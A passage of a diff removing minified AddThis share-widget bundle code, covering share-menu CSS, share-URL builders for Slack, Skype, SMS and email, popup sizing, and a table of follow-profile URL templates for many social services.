.at-expanded-menu-email-disclaimer a{color:#beb6b6}#at-expanded-menu-host .loading-container.loading-container-as-overlay{background:rgba(51,51,51,.3);bottom:0;display:block;height:auto;left:0;position:fixed;right:0;top:0;z-index:16777274}#at-expanded-menu-host .loading-container.loading-container-as-overlay .loading-spinner{display:block}#at-expanded-menu-host .at-copy-link-share{margin:0 35px;width:575px}#at-expanded-menu-host .at-copy-link-share-icon{display:block;float:left;height:50px;width:50px}#at-expanded-menu-host .at-copy-link-share-icon .at-icon-wrapper{border-radius:4px 0 0 4px}#at-expanded-menu-host .at-copy-link-share-page-url{border-radius:0 4px 4px 0;color:#333;display:block;font-size:18px;height:50px;width:calc(100% - 50px)}#at-expanded-menu-host .at-copy-link-share-button{text-align:center;width:130px}#at-expanded-menu-host .at-copy-link-result-message{background-color:#1ece8e;border-radius:3px;color:#fff;display:block;margin:20px auto;opacity:0;padding:5px;width:200px;transition:opacity .5s ease-in}#at-expanded-menu-host .at-copy-link-result-message span{font-size:14px;line-height:20px}#at-expanded-menu-host .at-copy-link-result-message.at-copy-link-show-result{opacity:1;transition:opacity .5s ease-in}#at-expanded-menu-host .at-copy-link-result-message:before{margin:0 5px}@media screen and (max-width:950px){#at-expanded-menu-host .at-expanded-menu:not(.at-expanded-menu-email){margin-left:-289px}#at-expanded-menu-host .at-expanded-menu-ft,#at-expanded-menu-host .at-expanded-menu-page-title,#at-expanded-menu-host .at-expanded-menu-page-url,#at-expanded-menu-host .at-expanded-menu-search,#at-expanded-menu-host .at-expanded-menu-title{width:508px}#at-expanded-menu-host .at-expanded-menu-service-list,#at-expanded-menu-host .at-expanded-menu-top-services-header{width:578px}#at-expanded-menu-host .at-expanded-menu-service-list.border-before:before,#at-expanded-menu-host .at-expanded-menu-top-services-header.border-before:before{width:378px}#at-expanded-menu-host .at-expanded-menu-service-list li,#at-expanded-menu-host .at-expanded-menu-top-services-header li{margin-left:28px;margin-right:29px}#at-expanded-menu-host .at-copy-link-share{margin:0;width:578px}}@media screen and (max-width:569px){#at-expanded-menu-host .at-expanded-menu:not(.at-expanded-menu-email){margin-left:-214px}#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-bd,#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-hd,#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email .at-expanded-menu-email-other{padding-left:10px;padding-right:10px}#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-bd,#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-email-form,#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-hd,#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-title,#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email .at-expanded-menu-page-title,#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email .at-expanded-menu-page-url{margin:0;width:100%}#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email .at-expanded-menu-email-other{width:100%}#at-expanded-menu-host .at-expanded-menu.at-expanded-menu-email #at-expanded-menu-title{margin-bottom:30px}#at-expanded-menu-host .at-expanded-menu-ft,#at-expanded-menu-host .at-expanded-menu-page-title,#at-expanded-menu-host .at-expanded-menu-page-url,#at-expanded-menu-host .at-expanded-menu-search,#at-expanded-menu-host .at-expanded-menu-title{margin-left:22px;margin-right:22px;width:380px}#at-expanded-menu-host .at-expanded-menu-service-list,#at-expanded-menu-host .at-expanded-menu-top-services-header{width:420px}#at-expanded-menu-host .at-expanded-menu-service-list.border-before:before,#at-expanded-menu-host .at-expanded-menu-top-services-header.border-before:before{width:15pc}#at-expanded-menu-host .at-expanded-menu-service-list li,#at-expanded-menu-host .at-expanded-menu-top-services-header li{margin-left:14px;margin-right:7px}#at-expanded-menu-host .at-copy-link-share{width:420px}}@media screen and (max-width:449px){#at-expanded-menu-host #at-expanded-menu-title{font-size:28px;line-height:2pc}#at-expanded-menu-host .at-expanded-menu-page-title{font-size:14px;font-weight:300}#at-expanded-menu-host .at-expanded-menu:not(.at-expanded-menu-email){margin-left:-180px}#at-expanded-menu-host .at-expanded-menu-ft,#at-expanded-menu-host .at-expanded-menu-page-title,#at-expanded-menu-host .at-expanded-menu-page-url,#at-expanded-menu-host .at-expanded-menu-search,#at-expanded-menu-host .at-expanded-menu-title{margin-left:10px;margin-right:10px;width:340px}#at-expanded-menu-host .at-expanded-menu-service-list,#at-expanded-menu-host .at-expanded-menu-top-services-header{width:360px}#at-expanded-menu-host .at-expanded-menu-service-list.border-before:before,#at-expanded-menu-host .at-expanded-menu-top-services-header.border-before:before{margin-left:5pc;width:200px}#at-expanded-menu-host .at-copy-link-share{width:360px}}@media screen and (max-width:369px){#at-expanded-menu-host .at-expanded-menu:not(.at-expanded-menu-email){margin-left:-10pc}#at-expanded-menu-host .at-expanded-menu-page-url{margin-bottom:25px}#at-expanded-menu-host .at-expanded-menu-ft,#at-expanded-menu-host .at-expanded-menu-page-title,#at-expanded-menu-host .at-expanded-menu-page-url,#at-expanded-menu-host .at-expanded-menu-search,#at-expanded-menu-host .at-expanded-menu-title{width:300px}#at-expanded-menu-host .at-expanded-menu-service-list,#at-expanded-menu-host .at-expanded-menu-top-services-header{width:20pc}#at-expanded-menu-host .at-expanded-menu-service-list.border-before:before,#at-expanded-menu-host .at-expanded-menu-top-services-header.border-before:before{margin-left:60px;width:200px}#at-expanded-menu-host .at-expanded-menu-service-list li,#at-expanded-menu-host .at-expanded-menu-top-services-header li{margin-left:8px;margin-right:8px}#at-expanded-menu-host .at-copy-link-share{width:20pc}}@media screen and (max-width:879px){#at-expanded-menu-host .at-branding-info.at-expanded-menu-branding,#at-expanded-menu-host .at-branding-logo.at-expanded-menu-branding{bottom:initial;left:20px;right:initial;top:20px}}@media screen and (max-width:347px){#at-expanded-menu-host .at-branding-info.at-expanded-menu-branding,#at-expanded-menu-host .at-branding-logo.at-expanded-menu-branding{bottom:initial;left:10px;right:initial;top:10px}#at-expanded-menu-host .at-expanded-menu-close{right:10px;top:10px}}@media screen and (max-height:800px),screen and (max-width:639px){#at-expanded-menu-host .at-expanded-menu-service-list button{width:4pc}#at-expanded-menu-host .at-expanded-menu .at-icon-wrapper{width:4pc;height:4pc}}@media screen and (max-height:800px) and (min-width:480px){#at-expanded-menu-host .at-expanded-menu-page-url{margin-top:0;margin-bottom:10px}}@media screen and (max-height:800px){#at-expanded-menu-host .at-expanded-menu-title{font-size:3pc;font-weight:300;line-height:3pc;color:#fff;margin-bottom:20px;margin-top:0;padding:0}#at-expanded-menu-host .at-expanded-menu-page-url{margin-top:0;margin-bottom:10px}#at-expanded-menu-host .at-expanded-menu-search{height:50px;max-height:50px;line-height:50px}#at-expanded-menu-host .at-expanded-menu-search-input[type=text]{font-size:15px!important;height:50px;position:relative;top:-4px}#at-expanded-menu-host .at-expanded-menu-search-label{height:35px;max-height:35px;line-height:35px}#at-expanded-menu-host .at-expanded-menu-search-label-content{font-size:1pc}#at-expanded-menu-host .at-expanded-menu-search-label:after,#at-expanded-menu-host .at-expanded-menu-search-label:before{height:35px}#at-expanded-menu-host .at-expanded-menu-search-icon{top:5px}#at-expanded-menu-host .at-expanded-menu-top-services-header{margin:0 0 20px}#at-expanded-menu-host .at-expanded-menu-service-list{padding:0 0 90px}#at-expanded-menu-host .at-expanded-menu-service-list.border-before:before{padding-bottom:30px}#at-expanded-menu-host .at-expanded-menu-service-list li{margin-bottom:15px;margin-top:0}}@media screen and (max-height:550px){#at-expanded-menu-host #at-expanded-menu-title{line-height:28px;margin-bottom:10px}#at-expanded-menu-host .at-expanded-menu-page-title{font-size:13px}#at-expanded-menu-host .at-expanded-menu-page-url{font-size:9pt}#at-expanded-menu-host #at-expanded-menu-bd{padding-top:10px}}@media print{#at-expanded-menu-host #at-expanded-menu-container{display:none}}#at-expanded-menu-container.at-expanded-menu-mobile{position:fixed;top:0;bottom:0;left:0;right:0;z-index:16777269;overflow:hidden}#at-expanded-menu-container.at-expanded-menu-mobile>.loading-container{height:100%;position:relative;z-index:16777274}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu{overflow-x:initial;overflow-y:initial;padding-bottom:50px;padding-top:60px;top:0;bottom:0}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu.at-expanded-menu-copy-link,#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu.at-expanded-menu-email{left:initial;margin-left:0}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu.at-expanded-menu-email{margin-bottom:50px;margin-top:70px;overflow-y:auto;-webkit-overflow-scrolling:touch;padding-top:10px}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu.at-expanded-menu-copy-link{bottom:initial;padding:0;top:50%;transform:translateY(-50%)}#at-expanded-menu-container.at-expanded-menu-mobile #at-expanded-menu-hd{position:fixed}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-copy-link #at-expanded-menu-hd,#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-email #at-expanded-menu-hd{display:block;padding-bottom:10px;position:static}#at-expanded-menu-container.at-expanded-menu-mobile #at-expanded-menu-title{font-size:20px;line-height:20px;margin-bottom:0}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-email #at-expanded-menu-title{margin:0 auto}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-copy-link #at-expanded-menu-title{margin-bottom:5px;width:auto}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-copy-link .at-expanded-menu-page-title,#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-copy-link .at-expanded-menu-page-url{width:auto}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-search-input[type=text]{font-size:13px!important}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-search-icon{height:22px;top:7px}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-search-label{height:45px;line-height:45px;max-height:45px}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-search-label-content{font-size:13px}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-search-filled .at-expanded-menu-search-label .at-expanded-menu-search-label-content,#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-search-input[type=text]:focus+.at-expanded-menu-search-label .at-expanded-menu-search-label-content{display:none}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-top-services-header{margin:0 0 18px}#at-expanded-menu-container.at-expanded-menu-mobile #at-expanded-menu-bd{height:100%;padding-top:10px;padding-bottom:0;-webkit-overflow-scrolling:touch}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-round .at-expanded-menu-button-label{font-size:9pt}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu .at-icon-wrapper{height:54px;margin:0 auto;width:54px}#at-expanded-menu-container.at-expanded-menu-mobile #at-expanded-menu-email-form{width:auto}#at-expanded-menu-container.at-expanded-menu-mobile #at-expanded-menu-captcha-container{padding-top:15px}#at-expanded-menu-container.at-expanded-menu-mobile #at-expanded-menu-captcha-container>:first-child{margin:0 auto}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-email-other{margin-bottom:0;padding-bottom:0;width:auto}#at-expanded-menu-container.at-expanded-menu-mobile #at-expanded-menu-email-sent{width:100%}#at-expanded-menu-container.at-expanded-menu-mobile #at-expanded-menu-email-sent .at-expanded-menu-button{height:4pc;width:4pc}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-email-success-message{font-size:24px}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-email-error-message{font-size:10px}#at-expanded-menu-container.at-expanded-menu-mobile .at-copy-link-share{margin:0 10px;width:auto}#at-expanded-menu-container.at-expanded-menu-mobile .at-copy-link-share-button{margin-top:25px;padding:10px 25px}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-ft{margin-top:-5pc}#at-expanded-menu-container.at-expanded-menu-mobile .at-expanded-menu-fade{height:50px}',
-                    ''
-                ]);
-            },
-            (e, t, n) => {
-                e.exports = n.p + '30e029c73921e590684320b52cff4e7d.gif';
-            },
-            (e, t) => {
-                'use strict';
-                function n(e, t) {
-                    var n = arguments.length > 2 && void 0 !== arguments[2] && arguments[2];
-                    var i = a(t, n);
-                    return Object.keys(e).reduce((t, n) => (i(n) || (t[n] = e[n]), t), {});
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = n);
-                var a = (e, t) => (t ? e.hasOwnProperty.bind(e) : (t) => t in e);
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(434);
-                var i = n(410);
-                e.exports = (e, t) => {
-                    var n = (e && (e.share_url_transforms || e.url_transforms)) || {};
-                    'ist-1.0' === t.product && (e.url = e.media),
-                        (e.url = i(e.url || window.location.href, n, e, 'link')),
-                        (t.ui_pane = 'link'),
-                        a(document.body, 'link', '', '', t, e);
-                };
-            },
-            (e, t, n) => {
-                function a() {
-                    if (window.parent === window) window.print();
-                    else if (i) window.parent.postMessage('at-share-print', '*');
-                    else {
-                        var e = r('win') ? 'Control' : 'Command';
-                        var t = 'Press <' + e + '>+P to print.';
-                        try {
-                            _ate.menu.close();
-                        } catch (e) {}
-                        alert(t);
-                    }
-                }
-                var i = n(395);
-                var o = n(23).listen;
-                var r = n(5);
-                o(window, 'message', (e) => {
-                        if ('at-share-print' === e.data) {
-                            try {
-                                _ate.menu.close();
-                            } catch (e) {}
-                            a();
-                        }
-                    }),
-                    (e.exports = a);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e, t) {
-                    var n =
-                        'https://dashboard.addthis.com/darkseid/slack-oauth/auth?shareURL=' +
-                        encodeURIComponent(i('slack', e, t, !1, !0)) +
-                        '&shareTitle=' +
-                        encodeURIComponent(e.title);
-                    return (
-                        t.product || (t.product = 'men-300'),
-                        r(n, {
-                            pco: t.product
-                        }) || n
-                    );
-                }
-                var i = n(460);
-                var o = n(474);
-                var r = n(485);
-                (e.exports = (e, t) => {
-                    var n = o(a(e, t), '_blank');
-                    return n;
-                }),
-                (e.exports.getSlackURL = a);
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(21);
-                var i = n(45);
-                var o = n(8);
-                var r = n(47);
-                var s = n(31);
-                var d = n(60).makeCUID;
-                e.exports = (e, t) => {
-                    a(e, 'A url must be supplied to `makeRedirectURL`'), a(t.pco, 'A pco must be supplied to `makeRedirectURL`');
-                    var n = window._ate && _ate.feeds && _ate.feeds.getTestCell();
-                    var u = window._atc && window._atc.rev;
-                    var c = r() || d();
-                    var l = o({
-                            url: e,
-                            uid: c,
-                            pub: s(),
-                            rev: u,
-                            per: n
-                        },
-                        t
-                    );
-                    var f = i(l, (e, t) => t + '=' + window.encodeURIComponent(e)).join('&');
-                    return 'https://v1.addthis.com/live/redirect/?' + f;
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e, t) {
-                    var n = d({
-                        url: encodeURI(i('skype', e, t, !1, !0)),
-                        lang: u(),
-                        flow_id: s(),
-                        source: 'AddThis'
-                    });
-                    return 'https://web.skype.com/share?' + n;
-                }
-                var i = n(460);
-                var o = n(424);
-                var r = n(474);
-                var s = n(60).makeCUID;
-                var d = n(413);
-                var u = n(18);
-                (e.exports = (e, t) => {
-                    var n = d({
-                            toolbar: 'no',
-                            scrollbars: 'yes',
-                            resizable: 'yes',
-                            width: 305,
-                            height: 665
-                        },
-                        ','
-                    );
-                    o('skype', e, t);
-                    var i = a(e, t);
-                    var s = r(i, '_blank', n);
-                    return s;
-                }),
-                (e.exports.getSkypeURL = a);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e, t) {
-                    var n;
-                    var a = o('sms', e, t, !1, !0);
-                    return (n =
-                        i('iph') || i('ipa') ?
-                        'sms:&body=' + (e.title ? encodeURIComponent(e.title) + '%20' : '') + encodeURIComponent(a) :
-                        'sms:?body=' + (e.title ? encodeURIComponent(e.title) + '%20' : '') + encodeURIComponent(a));
-                }
-                var i = n(5);
-                var o = n(460);
-                var r = n(433);
-                (e.exports = (e, t) => {
-                    i('iph') || i('ipa') || i('bb10') || i('dro') ? (window.location = a(e, t)) : ((e.service = 'email'), r(e, t));
-                }),
-                (e.exports.getSMSURL = a);
-            },
-            (e, t, n) => {
-                var a = window.encodeURIComponent;
-                var i = n(460);
-                var o = n(409);
-                var r = n(410);
-                var s = n(5);
-                var d = n(485);
-                e.exports = (e, t, n) => {
-                    var u = e.share_url_transforms || e.url_transforms || {};
-                    var c = o(r(e.url, u, e, 'mailto'));
-                    var l = e.title || c;
-                    t = t || {};
-                    var f = '';
-                    e.media && (f += a(e.media) + '%0D%0A%0D%0A'), (f += a(i('mailto', e, t, c, n)));
-                    var p = 'mailto:?body=' + f + '&subject=' + (s('iph') ? l : a(l));
-                    return (
-                        t.product || (t.product = 'men-300'),
-                        d(p, {
-                            pco: t.product
-                        }) || '#'
-                    );
-                };
-            },
-            (e, t) => {
-                e.exports = (e) => {
-                    var t = {
-                        twitter: 1,
-                        wordpress: 1,
-                        facebook: 1,
-                        hootsuite: 1,
-                        email: 1,
-                        bkmore: 1,
-                        more: 1,
-                        raiseyourvoice: 1,
-                        vk: 1,
-                        tumblr: 1,
-                        amazonsmile: 1,
-                        cashme: 1,
-                        paypalme: 1,
-                        patreon: 1,
-                        venmo: 1,
-                        flipboard: 1
-                    };
-                    return !!t[e];
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(401);
-                var i = n(422);
-                var o = n(488);
-                var r = n(5);
-                var s = window;
-                var d = {
-                    wordpress: {
-                        width: 720,
-                        height: 570
-                    },
-                    linkedin: {
-                        width: 600,
-                        height: 475
-                    },
-                    facebook: {
-                        width: 675,
-                        height: 375
-                    },
-                    hootsuite: {
-                        width: 800,
-                        height: 500
-                    },
-                    email: {
-                        width: 660,
-                        height: 660
-                    },
-                    more: {
-                        width: 660,
-                        height: 716
-                    },
-                    vk: {
-                        width: 720,
-                        height: 290
-                    },
-                    raiseyourvoice: {
-                        width: 480,
-                        height: 635
-                    },
-                    fallback: {
-                        width: 550,
-                        height: 450
-                    }
-                };
-                e.exports = (e, t, n, u, c, l) => {
-                    var f = a(e, 0, t, n);
-                    return (
-                        n.ui_use_same_window ?
-                        (s.location.href = f) :
-                        'email' === e && r('mob') ?
-                        (s.location.href = o(t, n, 1)) :
-                        i(f, u || (d[e] || d.fallback).width, c || (d[e] || d.fallback).height, l),
-                        !1
-                    );
-                };
-            },
-            (e, t, n) => {
-                var a = n(401);
-                var i = n(423);
-                var o = n(487);
-                var r = window;
-                e.exports = (e, t, n) => {
-                    var s;
-                    return (
-                        r.location.href.search(_atc.rsrcs.bookmark) > -1 ?
-                        (r.location = a(e, 0, t, n)) :
-                        'sms' === e ?
-                        o(t, n) :
-                        ((s = a(e, 0, t, n)), i.push(r.open(s, 'addthis_share'))),
-                        !1
-                    );
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i() {
-                    return s[d.filter((e) => (0, r.default)(e))[0]];
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(5);
-                var r = a(o);
-                var s = {
-                    saf: 'Safari',
-                    chr: 'Chrome',
-                    opr: 'Opera',
-                    msedge: 'Edge',
-                    ffx: 'Firefox',
-                    ie10: 'Internet Explorer',
-                    ie11: 'Internet Explorer'
-                };
-                var d = Object.keys(s);
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t, n, a, i) {
-                    if ('follow' === a) {
-                        var o = t._expandedMenuFollowServices || [];
-                        var s = o.filter((t) => t.service === e).reduce((e) => e) || {};
-                        var u = {
-                            navigateTo: (0, f.default)(e, s.id, s.usertype)
-                        };
-                        i.post(u);
-                    } else {
-                        var l = {};
-                        switch (e) {
-                            case 'pinterest':
-                            case 'pinterest_share':
-                                l = {
-                                    navigateTo: (0, c.default)(t, n)
-                                };
-                                break;
-                            case 'slack':
-                                l = {
-                                    navigateTo: (0, p.getSlackURL)(t, n)
-                                };
-                                break;
-                            case 'sms':
-                                l = {
-                                    navigateTo: (0, g.getSMSURL)(t, n)
-                                };
-                                break;
-                            case 'skype':
-                                (0, r.default)(e, t, n),
-                                (l = {
-                                    navigateTo: (0, h.getSkypeURL)(t, n)
-                                });
-                                break;
-                            case 'email':
-                                (0, r.default)(e, t, n),
-                                (l = {
-                                    navigateTo: (0, m.getEmailURL)(t, n)
-                                });
-                                break;
-                            case 'kakaotalk':
-                                l = (0, v.default)('mob') ? {
-                                    navigateTo: (0, d.default)(e, 0, t, n)
-                                } : {
-                                    navigateTo: (0, m.getEmailURL)(t, n)
-                                };
-                                break;
-                            default:
-                                l = {
-                                    navigateTo: (0, d.default)(e, 0, t, n)
-                                };
-                        }
-                        i.post(l);
-                    }
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(424);
-                var r = a(o);
-                var s = n(401);
-                var d = a(s);
-                var u = n(400);
-                var c = a(u);
-                var l = n(494);
-                var f = a(l);
-                var p = n(484);
-                var h = n(486);
-                var m = n(433);
-                var g = n(487);
-                var _ = n(5);
-                var v = a(_);
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t, n, a) {
-                    return (
-                        'facebook' === e ?
-                        ((n = 'user'), t && t.match(d) && (t = 'profile.php?id=' + t)) :
-                        'facebook_url' === e ?
-                        ((n = 'user'), (e = 'facebook')) :
-                        'twitter' === e && void 0 === t && (t = (a || {})['tw:screen_name']),
-                        t ?
-                        ((n && 'id' !== n) || (n = 'user'), {
-                            code: e,
-                            userid: t,
-                            usertype: n
-                        }) :
-                        null
-                    );
-                }
-                function o(e, t, n, a) {
-                    var o = i(e, t, n, a);
-                    if (!o) return null;
-                    var r = o.code;
-                    var d = s.default[r];
-                    if (!d) return null;
-                    var u = o.userid;
-                    var c = o.usertype;
-                    return (d[c] || '').replace('{{id}}', u);
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = o);
-                var r = n(495);
-                var s = a(r);
-                var d = new RegExp(/^\d+$/);
-                e.exports = t.default;
-            },
-            (e, t) => {
-                e.exports = {
-                    '500px': {
-                        user: 'https://500px.com/{{id}}'
-                    },
-                    aboutme: {
-                        user: 'https://about.me/{{id}}'
-                    },
-                    bandcamp: {
-                        user: 'https://{{id}}.bandcamp.com/'
-                    },
-                    behance: {
-                        user: 'https://www.behance.net/{{id}}'
-                    },
-                    bitbucket: {
-                        user: 'https://bitbucket.org/{{id}}'
-                    },
-                    blogger: {
-                        user: 'https://www.blogger.com/profile/{{id}}',
-                        blog: 'http://{{id}}.blogspot.com/'
-                    },
-                    deviantart: {
-                        user: 'http://{{id}}.deviantart.com/'
-                    },
-                    digg: {
-                        user: 'http://digg.com/{{id}}'
-                    },
-                    disqus: {
-                        user: 'https://disqus.com/{{id}}'
-                    },
-                    dribbble: {
-                        user: 'https://dribbble.com/{{id}}'
-                    },
-                    ello: {
-                        user: 'https://ello.co/{{id}}'
-                    },
-                    etsy: {
-                        user: 'https://www.etsy.com/shop/{{id}}'
-                    },
-                    facebook: {
-                        user: 'http://www.facebook.com/{{id}}'
-                    },
-                    flickr: {
-                        user: 'http://www.flickr.com/photos/{{id}}'
-                    },
-                    foursquare: {
-                        user: 'http://foursquare.com/{{id}}'
-                    },
-                    github: {
-                        user: 'https://github.com/{{id}}'
-                    },
-                    gitlab: {
-                        user: 'https://gitlab.com/{{id}}'
-                    },
-                    goodreads: {
-                        user: 'http://www.goodreads.com/{{id}}'
-                    },
-                    hackernews: {
-                        user: 'https://news.ycombinator.com/{{id}}'
-                    },
-                    houzz: {
-                        user: 'http://www.houzz.com/{{id}}'
-                    },
-                    instagram: {
-                        user: 'http://instagram.com/{{id}}'
-                    },
-                    jsfiddle: {
-                        user: 'https://jsfiddle.net/user/{{id}}'
-                    },
-                    letterboxd: {
-                        user: 'https://letterboxd.com/{{id}}'
-                    },
-                    linkedin: {
-                        user: 'http://www.linkedin.com/in/{{id}}',
-                        group: 'https://www.linkedin.com/groups/{{id}}',
-                        company: 'http://www.linkedin.com/company/{{id}}',
-                        education: 'https://www.linkedin.com/school/{{id}}'
-                    },
-                    mailto: {
-                        user: 'mailto:{{id}}'
-                    },
-                    medium: {
-                        user: 'https://medium.com/{{id}}'
-                    },
-                    meetvibe: {
-                        user: 'https://meetvibe.com/{{id}}'
-                    },
-                    messenger: {
-                        user: 'https://m.me/{{id}}'
-                    },
-                    mixcloud: {
-                        user: 'https://www.mixcloud.com/{{id}}'
-                    },
-                    myspace: {
-                        user: 'https://myspace.com/{{id}}'
-                    },
-                    odnoklassniki_ru: {
-                        user: 'http://ok.ru/{{id}}'
-                    },
-                    periscope: {
-                        user: 'https://www.periscope.tv/{{id}}'
-                    },
-                    pinterest: {
-                        user: 'http://www.pinterest.com/{{id}}'
-                    },
-                    pocket: {
-                        user: 'http://getpocket.com/@{{id}}'
-                    },
-                    quora: {
-                        user: 'https://www.quora.com/profile/{{id}}'
-                    },
-                    ravelry: {
-                        user: 'http://www.ravelry.com/{{id}}'
-                    },
-                    reddit: {
-                        user: 'https://www.reddit.com/{{id}}'
-                    },
-                    renren: {
-                        user: 'http://renren.com/{{id}}'
-                    },
-                    rss: {
-                        user: '{{id}}'
-                    },
-                    scoopit: {
-                        user: 'http://www.scoop.it/u/{{id}}'
-                    },
-                    sinaweibo: {
-                        user: 'http://weibo.com/{{id}}'
-                    },
-                    skype: {
-                        user: 'skype:{{id}}?call'
-                    },
-                    slashdot: {
-                        user: 'http://slashdot.org/~{{id}}'
-                    },
-                    slideshare: {
-                        user: 'http://www.slideshare.net/{{id}}'
-                    },
-                    snapchat: {
-                        user: 'https://www.snapchat.com/add/{{id}}'
-                    },
-                    soundcloud: {
-                        user: 'https://soundcloud.com/{{id}}'
-                    },
-                    spotify: {
-                        user: 'http://open.spotify.com/{{id}}'
-                    },
-                    stack_exchange: {
-                        user: '{{id}}'
-                    },
-                    stack_overflow: {
-                        user: 'http://stackoverflow.com/users/{{id}}'
-                    },
-                    steam: {
-                        user: 'http://steamcommunity.com/{{id}}'
-                    },
-                    stumbleupon: {
-                        user: 'https://www.mix.com/{{id}}'
-                    },
-                    telegram: {
-                        user: 'https://telegram.me/{{id}}'
-                    },
-                    tumblr: {
-                        user: 'http://{{id}}.tumblr.com'
-                    },
-                    twitch: {
-                        user: 'http://www.twitch.tv/{{id}}'
-                    },
-                    twitter: {
-                        user: 'http://twitter.com/intent/follow?source=followbutton&variant=1.0&screen_name={{id}}'
-                    },
-                    untappd: {
-                        user: 'https://untappd.com/{{id}}'
-                    },
-                    vero: {
-                        user: 'https://vero.co/{{id}}'
-                    },
-                    vimeo: {
-                        user: 'http://www.vimeo.com/{{id}}'
-                    },
-                    vine: {
-                        user: 'https://vine.co/{{id}}'
-                    },
-                    vk: {
-                        user: 'http://vk.com/{{id}}'
-                    },
-                    wechat: {
-                        user: 'https://s7.addthis.com/static/wechat_follow.html?id={{id}}'
-                    },
-                    weheartit: {
-                        user: 'http://weheartit.com/{{id}}'
-                    },
-                    wordpress: {
-                        blog: '{{id}}'
-                    },
-                    xing: {
-                        user: 'https://www.xing.com/{{id}}'
-                    },
-                    yelp: {
-                        user: '{{id}}'
-                    },
-                    youtube: {
-                        user: 'http://www.youtube.com/user/{{id}}?sub_confirmation=1',
-                        channel: 'http://www.youtube.com/channel/{{id}}?sub_confirmation=1',
-                        custom: 'http://www.youtube.com/c/{{id}}?sub_confirmation=1'
-                    },
-                    yummly: {
-                        user: 'http://www.yummly.com/{{id}}'
-                    }
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t, n, a) {
-                    var i;
-                    switch (e) {
-                        case m.SAME_WINDOW:
-                            location.href = t;
-                            break;
-                        case m.NEW_FULL_WINDOW:
-                            i = window.open(t, '_blank');
-                            break;
-                        case m.NEW_CENTERED_WINDOW:
-                            a = a || {};
-                            var o = h[n] || h.default;
-                            var r = a.width || o.width;
-                            var s = a.height || o.height;
-                            i = (0, l.default)(t, r, s, a.name || '', !0);
-                    }
-                    return i;
-                }
-                function o(e, t, n, a, o) {
-                    var r = arguments.length > 5 && void 0 !== arguments[5] ? arguments[5] : {};
-                    var d = r.eventDispatcher;
-                    var c = void 0 === d ? _ate.ed : d;
-                    var l = r.eventDispatcherTarget;
-                    var f = void 0 === l ? addthis : l;
-                    var h = r.windowData;
-                    var g = void 0 === h ? {} : h;
-                    var _ = o.followUrl || (0, p.default)(e, t.id, t.userType);
-                    r.track &&
-                        (r.clone && ((a = (0, s.default)(!0, {}, a)), (o = (0, s.default)(!0, {}, o))),
-                            (a.product = n),
-                            (a.username = a.username || window.addthis_pub || a.pubid || ''),
-                            (a.pubid = a.username),
-                            (o.service = e),
-                            (o.followUrl = _),
-                            (0, u.default)(e, 1, o, a));
-                    var v = void 0;
-                    v =
-                        a.ui_use_same_window && !g.useFullWindow ?
-                        m.SAME_WINDOW :
-                        a.ui_use_different_full_window || g.useFullWindow ?
-                        m.NEW_FULL_WINDOW :
-                        m.NEW_CENTERED_WINDOW;
-                    var b = i(v, _, e, g);
-                    return (
-                        c.fire(
-                            'addthis.menu.follow',
